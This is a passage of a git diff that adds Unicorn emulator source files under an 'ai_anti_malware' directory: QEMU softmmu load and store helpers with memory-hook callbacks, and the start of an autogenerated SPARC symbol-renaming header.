(!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_FETCH_PROT, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } + + if (handled) { + env->invalid_error = UC_ERR_OK; + } else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_FETCH_PROT; + // printf("***** Invalid fetch (non-executable) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } +#endif + + // Unicorn: callback on memory read + // NOTE: this happens before the actual read, so we cannot tell + // the callback if read access is succesful, or not. + // See UC_HOOK_MEM_READ_AFTER & UC_MEM_READ_AFTER if you only care + // about successful read + if (READ_ACCESS_TYPE == MMU_DATA_LOAD) { + if (!uc->size_recur_mem) { // disabling read callback if in recursive call + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + ((uc_cb_hookmem_t)hook->callback)(env->uc, UC_MEM_READ, addr, DATA_SIZE, 0, hook->user_data); + } + } + } + + // Unicorn: callback on non-readable memory + if (READ_ACCESS_TYPE == MMU_DATA_LOAD && mr != NULL && !(mr->perms & UC_PROT_READ)) { //non-readable + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ_PROT) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_READ_PROT, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } + + if (handled) { + env->invalid_error = UC_ERR_OK; + } else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_READ_PROT; + // printf("***** Invalid memory read (non-readable) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } + + /* Adjust the given return address. */ + retaddr -= GETPC_ADJ; + + /* If the TLB entry is for a different page, reload and try again. */ + /* If the TLB entry addend is invalidated by any callbacks (perhaps due to + a TLB flush), reload and try again. */ + if ((addr & TARGET_PAGE_MASK) + != (tlb_addr & (TARGET_PAGE_MASK | TLB_INVALID_MASK)) + || env->tlb_table[mmu_idx][index].addend == -1) { +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + //cpu_unaligned_access(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + // mmu_idx, retaddr); + env->invalid_addr = addr; +#if defined(SOFTMMU_CODE_ACCESS) + env->invalid_error = UC_ERR_FETCH_UNALIGNED; +#else + env->invalid_error = UC_ERR_READ_UNALIGNED; +#endif + cpu_exit(uc->current_cpu); + return 0; + } +#endif + if (!victim_tlb_hit_read(env, addr, mmu_idx, index)) { + tlb_fill(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + mmu_idx, retaddr); + } + tlb_addr = env->tlb_table[mmu_idx][index].ADDR_READ; + } + + /* Handle an IO access. */ + if (unlikely(tlb_addr & ~TARGET_PAGE_MASK)) { + hwaddr ioaddr; + if ((addr & (DATA_SIZE - 1)) != 0) { + goto do_unaligned_access; + } + ioaddr = env->iotlb[mmu_idx][index]; + if (ioaddr == 0) { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_READ_UNMAPPED; + // printf("Invalid memory read at " TARGET_FMT_lx "\n", addr); + cpu_exit(env->uc->current_cpu); + return 0; + } else { + env->invalid_error = UC_ERR_OK; + } + + /* ??? Note that the io helpers always read data in the target + byte ordering. We should push the LE/BE request down into io. */ + res = glue(io_read, SUFFIX)(env, ioaddr, addr, retaddr); + res = TGT_LE(res); + goto _out; + } + + /* Handle slow unaligned access (it spans two pages or IO). */ + if (DATA_SIZE > 1 + && unlikely((addr & ~TARGET_PAGE_MASK) + DATA_SIZE - 1 + >= TARGET_PAGE_SIZE)) { + target_ulong addr1, addr2; + DATA_TYPE res1, res2; + unsigned shift; + do_unaligned_access: +#ifdef ALIGNED_ONLY + //cpu_unaligned_access(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + // mmu_idx, retaddr); + env->invalid_addr = addr; +#if defined(SOFTMMU_CODE_ACCESS) + env->invalid_error = UC_ERR_FETCH_UNALIGNED; +#else + env->invalid_error = UC_ERR_READ_UNALIGNED; +#endif + cpu_exit(uc->current_cpu); + return 0; +#endif + addr1 = addr & ~(DATA_SIZE - 1); + addr2 = addr1 + DATA_SIZE; + /* Note the adjustment at the beginning of the function. + Undo that for the recursion. */ + uc->size_recur_mem = DATA_SIZE - (addr - addr1); // size already treated by callback + res1 = helper_le_ld_name(env, addr1, mmu_idx, retaddr + GETPC_ADJ); + uc->size_recur_mem = (addr2 - addr); + res2 = helper_le_ld_name(env, addr2, mmu_idx, retaddr + GETPC_ADJ); + uc->size_recur_mem = 0; + shift = (addr & (DATA_SIZE - 1)) * 8; + + /* Little-endian combine. */ + res = (res1 >> shift) | (res2 << ((DATA_SIZE * 8) - shift)); + goto _out; + } + + /* Handle aligned access or unaligned access in the same page. */ +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + //cpu_unaligned_access(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + // mmu_idx, retaddr); + env->invalid_addr = addr; +#if defined(SOFTMMU_CODE_ACCESS) + env->invalid_error = UC_ERR_FETCH_UNALIGNED; +#else + env->invalid_error = UC_ERR_READ_UNALIGNED; +#endif + cpu_exit(uc->current_cpu); + return 0; + } +#endif + + haddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][index].addend); +#if DATA_SIZE == 1 + res = glue(glue(ld, LSUFFIX), _p)((uint8_t *)haddr); +#else + res = glue(glue(ld, LSUFFIX), _le_p)((uint8_t *)haddr); +#endif + +_out: + // Unicorn: callback on successful read + if (READ_ACCESS_TYPE == MMU_DATA_LOAD) { + if (!uc->size_recur_mem) { // disabling read callback if in recursive call + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ_AFTER) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + ((uc_cb_hookmem_t)hook->callback)(env->uc, UC_MEM_READ_AFTER, addr, DATA_SIZE, res, hook->user_data); + } + } + } + + return res; +} + +#if DATA_SIZE > 1 +#ifdef SOFTMMU_CODE_ACCESS +static QEMU_UNUSED_FUNC +#endif +WORD_TYPE helper_be_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, + uintptr_t retaddr) +{ + int index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + target_ulong tlb_addr = env->tlb_table[mmu_idx][index].ADDR_READ; + uintptr_t haddr; + DATA_TYPE res; + int error_code; + struct hook *hook; + bool handled; + HOOK_FOREACH_VAR_DECLARE; + + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + + // memory can be unmapped while reading or fetching + if (mr == NULL) { + handled = false; +#if defined(SOFTMMU_CODE_ACCESS) + error_code = UC_ERR_FETCH_UNMAPPED; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_FETCH_UNMAPPED) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_FETCH_UNMAPPED, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } +#else + error_code = UC_ERR_READ_UNMAPPED; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ_UNMAPPED) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_READ_UNMAPPED, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } +#endif + if (handled) { + env->invalid_error = UC_ERR_OK; + mr = memory_mapping(uc, addr); // FIXME: what if mr is still NULL at this time? + } else { + env->invalid_addr = addr; + env->invalid_error = error_code; + // printf("***** Invalid fetch (unmapped memory) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } + +#if defined(SOFTMMU_CODE_ACCESS) + // Unicorn: callback on fetch from NX + if (mr != NULL && !(mr->perms & UC_PROT_EXEC)) { // non-executable + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_FETCH_PROT) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_FETCH_PROT, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } + + if (handled) { + env->invalid_error = UC_ERR_OK; + } else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_FETCH_PROT; + // printf("***** Invalid fetch (non-executable) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } +#endif + + // Unicorn: callback on memory read + // NOTE: this happens before the actual read, so we cannot tell + // the callback if read access is succesful, or not. + // See UC_HOOK_MEM_READ_AFTER & UC_MEM_READ_AFTER if you only care + // about successful read + if (READ_ACCESS_TYPE == MMU_DATA_LOAD) { + if (!uc->size_recur_mem) { // disabling read callback if in recursive call + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + ((uc_cb_hookmem_t)hook->callback)(env->uc, UC_MEM_READ, addr, DATA_SIZE, 0, hook->user_data); + } + } + } + + // Unicorn: callback on non-readable memory + if (READ_ACCESS_TYPE == MMU_DATA_LOAD && mr != NULL && !(mr->perms & UC_PROT_READ)) { //non-readable + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ_PROT) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_READ_PROT, addr, DATA_SIZE - uc->size_recur_mem, 0, hook->user_data))) + break; + } + + if (handled) { + env->invalid_error = UC_ERR_OK; + } else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_READ_PROT; + // printf("***** Invalid memory read (non-readable) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } + + /* Adjust the given return address. */ + retaddr -= GETPC_ADJ; + + /* If the TLB entry is for a different page, reload and try again. */ + /* If the TLB entry addend is invalidated by any callbacks (perhaps due to + a TLB flush), reload and try again. */ + if ((addr & TARGET_PAGE_MASK) + != (tlb_addr & (TARGET_PAGE_MASK | TLB_INVALID_MASK)) + || env->tlb_table[mmu_idx][index].addend == -1) { +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + //cpu_unaligned_access(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + // mmu_idx, retaddr); + env->invalid_addr = addr; +#if defined(SOFTMMU_CODE_ACCESS) + env->invalid_error = UC_ERR_FETCH_UNALIGNED; +#else + env->invalid_error = UC_ERR_READ_UNALIGNED; +#endif + cpu_exit(uc->current_cpu); + return 0; + } +#endif + if (!victim_tlb_hit_read(env, addr, mmu_idx, index)) { + tlb_fill(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + mmu_idx, retaddr); + } + tlb_addr = env->tlb_table[mmu_idx][index].ADDR_READ; + } + + /* Handle an IO access. */ + if (unlikely(tlb_addr & ~TARGET_PAGE_MASK)) { + hwaddr ioaddr; + if ((addr & (DATA_SIZE - 1)) != 0) { + goto do_unaligned_access; + } + ioaddr = env->iotlb[mmu_idx][index]; + + if (ioaddr == 0) { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_READ_UNMAPPED; + // printf("Invalid memory read at " TARGET_FMT_lx "\n", addr); + cpu_exit(env->uc->current_cpu); + return 0; + } + + /* ??? Note that the io helpers always read data in the target + byte ordering. We should push the LE/BE request down into io. */ + res = glue(io_read, SUFFIX)(env, ioaddr, addr, retaddr); + res = TGT_BE(res); + goto _out; + } + + /* Handle slow unaligned access (it spans two pages or IO). */ + if (DATA_SIZE > 1 + && unlikely((addr & ~TARGET_PAGE_MASK) + DATA_SIZE - 1 + >= TARGET_PAGE_SIZE)) { + target_ulong addr1, addr2; + DATA_TYPE res1, res2; + unsigned shift; + do_unaligned_access: +#ifdef ALIGNED_ONLY + //cpu_unaligned_access(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + // mmu_idx, retaddr); + env->invalid_addr = addr; +#if defined(SOFTMMU_CODE_ACCESS) + env->invalid_error = UC_ERR_FETCH_UNALIGNED; +#else + env->invalid_error = UC_ERR_READ_UNALIGNED; +#endif + cpu_exit(uc->current_cpu); + return 0; +#endif + addr1 = addr & ~(DATA_SIZE - 1); + addr2 = addr1 + DATA_SIZE; + /* Note the adjustment at the beginning of the function. + Undo that for the recursion. */ + uc->size_recur_mem = DATA_SIZE - (addr - addr1); // size already treated by callback + res1 = helper_be_ld_name(env, addr1, mmu_idx, retaddr + GETPC_ADJ); + uc->size_recur_mem = (addr2 - addr); + res2 = helper_be_ld_name(env, addr2, mmu_idx, retaddr + GETPC_ADJ); + uc->size_recur_mem = 0; + shift = (addr & (DATA_SIZE - 1)) * 8; + + /* Big-endian combine. */ + res = (res1 << shift) | (res2 >> ((DATA_SIZE * 8) - shift)); + goto _out; + } + + /* Handle aligned access or unaligned access in the same page. */ +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + //cpu_unaligned_access(ENV_GET_CPU(env), addr, READ_ACCESS_TYPE, + // mmu_idx, retaddr); + env->invalid_addr = addr; +#if defined(SOFTMMU_CODE_ACCESS) + env->invalid_error = UC_ERR_FETCH_UNALIGNED; +#else + env->invalid_error = UC_ERR_READ_UNALIGNED; +#endif + cpu_exit(uc->current_cpu); + return 0; + } +#endif + + haddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][index].addend); + res = glue(glue(ld, LSUFFIX), _be_p)((uint8_t *)haddr); + +_out: + // Unicorn: callback on successful read + if (READ_ACCESS_TYPE == MMU_DATA_LOAD) { + if (!uc->size_recur_mem) { // disabling read callback if in recursive call + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_READ_AFTER) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + ((uc_cb_hookmem_t)hook->callback)(env->uc, UC_MEM_READ_AFTER, addr, DATA_SIZE, res, hook->user_data); + } + } + } + + return res; +} +#endif /* DATA_SIZE > 1 */ + +DATA_TYPE +glue(glue(helper_ld, SUFFIX), MMUSUFFIX)(CPUArchState *env, target_ulong addr, + int mmu_idx) +{ + return helper_te_ld_name (env, addr, mmu_idx, GETRA()); +} + +#ifndef SOFTMMU_CODE_ACCESS + +/* Provide signed versions of the load routines as well. We can of course + avoid this for 64-bit data, or for 32-bit data on 32-bit host. */ +#if DATA_SIZE * 8 < TCG_TARGET_REG_BITS +WORD_TYPE helper_le_lds_name(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr) +{ + return (SDATA_TYPE)helper_le_ld_name(env, addr, mmu_idx, retaddr); +} + +# if DATA_SIZE > 1 +WORD_TYPE helper_be_lds_name(CPUArchState *env, target_ulong addr, + int mmu_idx, uintptr_t retaddr) +{ + return (SDATA_TYPE)helper_be_ld_name(env, addr, mmu_idx, retaddr); +} +# endif +#endif + +static inline void glue(io_write, SUFFIX)(CPUArchState *env, + hwaddr physaddr, + DATA_TYPE val, + target_ulong addr, + uintptr_t retaddr) +{ + CPUState *cpu = ENV_GET_CPU(env); + MemoryRegion *mr = iotlb_to_region(cpu->as, physaddr); + + physaddr = (physaddr & TARGET_PAGE_MASK) + addr; + if (mr != &(cpu->uc->io_mem_rom) && mr != &(cpu->uc->io_mem_notdirty) + && !cpu_can_do_io(cpu)) { + cpu_io_recompile(cpu, retaddr); + } + + cpu->mem_io_vaddr = addr; + cpu->mem_io_pc = retaddr; + io_mem_write(mr, physaddr, val, 1 << SHIFT); +} + +void helper_le_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val, + int mmu_idx, uintptr_t retaddr) +{ + int index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write; + uintptr_t haddr; + struct hook *hook; + bool handled; + HOOK_FOREACH_VAR_DECLARE; + + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + + if (!uc->size_recur_mem) { // disabling write callback if in recursive call + // Unicorn: callback on memory write + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_WRITE) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + ((uc_cb_hookmem_t)hook->callback)(uc, UC_MEM_WRITE, addr, DATA_SIZE, val, hook->user_data); + } + } + + // Unicorn: callback on invalid memory + if (mr == NULL) { + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_WRITE_UNMAPPED) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_WRITE_UNMAPPED, addr, DATA_SIZE, val, hook->user_data))) + break; + } + + if (!handled) { + // save error & quit + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNMAPPED; + // printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return; + } else { + env->invalid_error = UC_ERR_OK; + mr = memory_mapping(uc, addr); // FIXME: what if mr is still NULL at this time? + } + } + + // Unicorn: callback on non-writable memory + if (mr != NULL && !(mr->perms & UC_PROT_WRITE)) { //non-writable + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_WRITE_PROT) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_WRITE_PROT, addr, DATA_SIZE, val, hook->user_data))) + break; + } + + if (handled) { + env->invalid_error = UC_ERR_OK; + } else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_PROT; + // printf("***** Invalid memory write (ro) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return; + } + } + + /* Adjust the given return address. */ + retaddr -= GETPC_ADJ; + + /* If the TLB entry is for a different page, reload and try again. */ + if ((addr & TARGET_PAGE_MASK) + != (tlb_addr & (TARGET_PAGE_MASK | TLB_INVALID_MASK))) { +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + //cpu_unaligned_access(ENV_GET_CPU(env), addr, MMU_DATA_STORE, + // mmu_idx, retaddr); + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNALIGNED; + cpu_exit(uc->current_cpu); + return; + } +#endif + if (!victim_tlb_hit_write(env, addr, mmu_idx, index)) { + tlb_fill(ENV_GET_CPU(env), addr, MMU_DATA_STORE, mmu_idx, retaddr); + } + tlb_addr = env->tlb_table[mmu_idx][index].addr_write; + } + + /* Handle an IO access. */ + if (unlikely(tlb_addr & ~TARGET_PAGE_MASK)) { + hwaddr ioaddr; + if ((addr & (DATA_SIZE - 1)) != 0) { + goto do_unaligned_access; + } + ioaddr = env->iotlb[mmu_idx][index]; + if (ioaddr == 0) { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNMAPPED; + // printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr); + cpu_exit(env->uc->current_cpu); + return; + } + + /* ??? Note that the io helpers always read data in the target + byte ordering. We should push the LE/BE request down into io. */ + val = TGT_LE(val); + glue(io_write, SUFFIX)(env, ioaddr, val, addr, retaddr); + return; + } + + /* Handle slow unaligned access (it spans two pages or IO). */ + if (DATA_SIZE > 1 + && unlikely((addr & ~TARGET_PAGE_MASK) + DATA_SIZE - 1 + >= TARGET_PAGE_SIZE)) { + int i; + do_unaligned_access: +#ifdef ALIGNED_ONLY + cpu_unaligned_access(ENV_GET_CPU(env), addr, MMU_DATA_STORE, + mmu_idx, retaddr); + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNALIGNED; + cpu_exit(uc->current_cpu); + return; +#endif + /* XXX: not efficient, but simple */ + /* Note: relies on the fact that tlb_fill() does not remove the + * previous page from the TLB cache. */ + for (i = DATA_SIZE - 1; i >= 0; i--) { + /* Little-endian extract. */ + uint8_t val8 = (uint8_t)(val >> (i * 8)); + // size already treated, this is used only for diabling the write cb + uc->size_recur_mem = DATA_SIZE - i ; + /* Note the adjustment at the beginning of the function. + Undo that for the recursion. */ + glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8, + mmu_idx, retaddr + GETPC_ADJ); + if (env->invalid_error != UC_ERR_OK) + break; + } + uc->size_recur_mem = 0; + return; + } + + /* Handle aligned access or unaligned access in the same page. */ +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + cpu_unaligned_access(ENV_GET_CPU(env), addr, MMU_DATA_STORE, + mmu_idx, retaddr); + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNALIGNED; + cpu_exit(uc->current_cpu); + return; + } +#endif + + haddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][index].addend); +#if DATA_SIZE == 1 + glue(glue(st, SUFFIX), _p)((uint8_t *)haddr, val); +#else + glue(glue(st, SUFFIX), _le_p)((uint8_t *)haddr, val); +#endif +} + +#if DATA_SIZE > 1 +void helper_be_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val, + int mmu_idx, uintptr_t retaddr) +{ + int index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1); + target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write; + uintptr_t haddr; + struct hook *hook; + bool handled; + HOOK_FOREACH_VAR_DECLARE; + + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + + if (!uc->size_recur_mem) { // disabling write callback if in recursive call + // Unicorn: callback on memory write + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_WRITE) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + ((uc_cb_hookmem_t)hook->callback)(uc, UC_MEM_WRITE, addr, DATA_SIZE, val, hook->user_data); + } + } + + // Unicorn: callback on invalid memory + if (mr == NULL) { + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_WRITE_UNMAPPED) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_WRITE_UNMAPPED, addr, DATA_SIZE, val, hook->user_data))) + break; + } + + if (!handled) { + // save error & quit + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNMAPPED; + // printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return; + } else { + env->invalid_error = UC_ERR_OK; + mr = memory_mapping(uc, addr); // FIXME: what if mr is still NULL at this time? + } + } + + // Unicorn: callback on non-writable memory + if (mr != NULL && !(mr->perms & UC_PROT_WRITE)) { //non-writable + handled = false; + HOOK_FOREACH(uc, hook, UC_HOOK_MEM_WRITE_PROT) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, addr)) + continue; + if ((handled = ((uc_cb_eventmem_t)hook->callback)(uc, UC_MEM_WRITE_PROT, addr, DATA_SIZE, val, hook->user_data))) + break; + } + + if (handled) { + env->invalid_error = UC_ERR_OK; + } else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_PROT; + // printf("***** Invalid memory write (ro) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return; + } + } + + /* Adjust the given return address. */ + retaddr -= GETPC_ADJ; + + /* If the TLB entry is for a different page, reload and try again. */ + if ((addr & TARGET_PAGE_MASK) + != (tlb_addr & (TARGET_PAGE_MASK | TLB_INVALID_MASK))) { +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + cpu_unaligned_access(ENV_GET_CPU(env), addr, MMU_DATA_STORE, + mmu_idx, retaddr); + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNALIGNED; + cpu_exit(uc->current_cpu); + return; + } +#endif + if (!victim_tlb_hit_write(env, addr, mmu_idx, index)) { + tlb_fill(ENV_GET_CPU(env), addr, MMU_DATA_STORE, mmu_idx, retaddr); + } + tlb_addr = env->tlb_table[mmu_idx][index].addr_write; + } + + /* Handle an IO access. */ + if (unlikely(tlb_addr & ~TARGET_PAGE_MASK)) { + hwaddr ioaddr; + if ((addr & (DATA_SIZE - 1)) != 0) { + goto do_unaligned_access; + } + ioaddr = env->iotlb[mmu_idx][index]; + if (ioaddr == 0) { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNMAPPED; + // printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr); + cpu_exit(env->uc->current_cpu); + return; + } + + /* ??? Note that the io helpers always read data in the target + byte ordering. We should push the LE/BE request down into io. */ + val = TGT_BE(val); + glue(io_write, SUFFIX)(env, ioaddr, val, addr, retaddr); + return; + } + + /* Handle slow unaligned access (it spans two pages or IO). */ + if (DATA_SIZE > 1 + && unlikely((addr & ~TARGET_PAGE_MASK) + DATA_SIZE - 1 + >= TARGET_PAGE_SIZE)) { + int i; + do_unaligned_access: +#ifdef ALIGNED_ONLY + cpu_unaligned_access(ENV_GET_CPU(env), addr, MMU_DATA_STORE, + mmu_idx, retaddr); + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNALIGNED; + cpu_exit(uc->current_cpu); + return; +#endif + /* XXX: not efficient, but simple */ + /* Note: relies on the fact that tlb_fill() does not remove the + * previous page from the TLB cache. */ + for (i = DATA_SIZE - 1; i >= 0; i--) { + /* Big-endian extract. */ + uint8_t val8 = (uint8_t)(val >> (((DATA_SIZE - 1) * 8) - (i * 8))); + // size already treated, this is used only for diabling the write cb + uc->size_recur_mem = DATA_SIZE - i ; + /* Note the adjustment at the beginning of the function. + Undo that for the recursion. */ + glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8, + mmu_idx, retaddr + GETPC_ADJ); + if (env->invalid_error != UC_ERR_OK) + break; + } + uc->size_recur_mem = 0; + return; + } + + /* Handle aligned access or unaligned access in the same page. */ +#ifdef ALIGNED_ONLY + if ((addr & (DATA_SIZE - 1)) != 0) { + cpu_unaligned_access(ENV_GET_CPU(env), addr, MMU_DATA_STORE, + mmu_idx, retaddr); + env->invalid_addr = addr; + env->invalid_error = UC_ERR_WRITE_UNALIGNED; + cpu_exit(uc->current_cpu); + return; + } +#endif + + haddr = (uintptr_t)(addr + env->tlb_table[mmu_idx][index].addend); + glue(glue(st, SUFFIX), _be_p)((uint8_t *)haddr, val); +} +#endif /* DATA_SIZE > 1 */ + +void +glue(glue(helper_st, SUFFIX), MMUSUFFIX)(CPUArchState *env, target_ulong addr, + DATA_TYPE val, int mmu_idx) +{ + helper_te_st_name(env, addr, val, mmu_idx, GETRA()); +} + +#endif /* !defined(SOFTMMU_CODE_ACCESS) */ + +#undef READ_ACCESS_TYPE +#undef SHIFT +#undef DATA_TYPE +#undef SUFFIX +#undef LSUFFIX +#undef DATA_SIZE +#undef ADDR_READ +#undef WORD_TYPE +#undef SDATA_TYPE +#undef USUFFIX +#undef SSUFFIX +#undef BSWAP +#undef TGT_BE +#undef TGT_LE +#undef CPU_BE +#undef CPU_LE +#undef helper_le_ld_name +#undef helper_be_ld_name +#undef helper_le_lds_name +#undef helper_be_lds_name +#undef helper_le_st_name +#undef helper_be_st_name +#undef helper_te_ld_name +#undef helper_te_st_name diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/sparc.h b/ai_anti_malware/unicorn/unicorn-master/qemu/sparc.h new file mode 100644 index 0000000..4fbf55e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/sparc.h @@ -0,0 +1,3092 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_SPARC_H +#define UNICORN_AUTOGEN_SPARC_H +#define arm_release arm_release_sparc +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_sparc +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_sparc +#define use_idiv_instructions_rt use_idiv_instructions_rt_sparc +#define tcg_target_deposit_valid tcg_target_deposit_valid_sparc +#define helper_power_down helper_power_down_sparc +#define check_exit_request check_exit_request_sparc +#define address_space_unregister address_space_unregister_sparc +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_sparc +#define phys_mem_clean phys_mem_clean_sparc +#define tb_cleanup tb_cleanup_sparc +#define memory_map memory_map_sparc +#define memory_map_ptr memory_map_ptr_sparc +#define memory_unmap memory_unmap_sparc +#define memory_free memory_free_sparc +#define free_code_gen_buffer free_code_gen_buffer_sparc +#define helper_raise_exception helper_raise_exception_sparc +#define tcg_enabled tcg_enabled_sparc +#define tcg_exec_init tcg_exec_init_sparc +#define memory_register_types memory_register_types_sparc +#define cpu_exec_init_all cpu_exec_init_all_sparc +#define vm_start vm_start_sparc +#define resume_all_vcpus resume_all_vcpus_sparc +#define a15_l2ctlr_read a15_l2ctlr_read_sparc +#define a64_translate_init a64_translate_init_sparc +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_sparc +#define aa64_cacheop_access aa64_cacheop_access_sparc +#define aa64_daif_access aa64_daif_access_sparc +#define aa64_daif_write aa64_daif_write_sparc +#define aa64_dczid_read aa64_dczid_read_sparc +#define aa64_fpcr_read aa64_fpcr_read_sparc +#define aa64_fpcr_write aa64_fpcr_write_sparc +#define aa64_fpsr_read aa64_fpsr_read_sparc +#define aa64_fpsr_write aa64_fpsr_write_sparc +#define 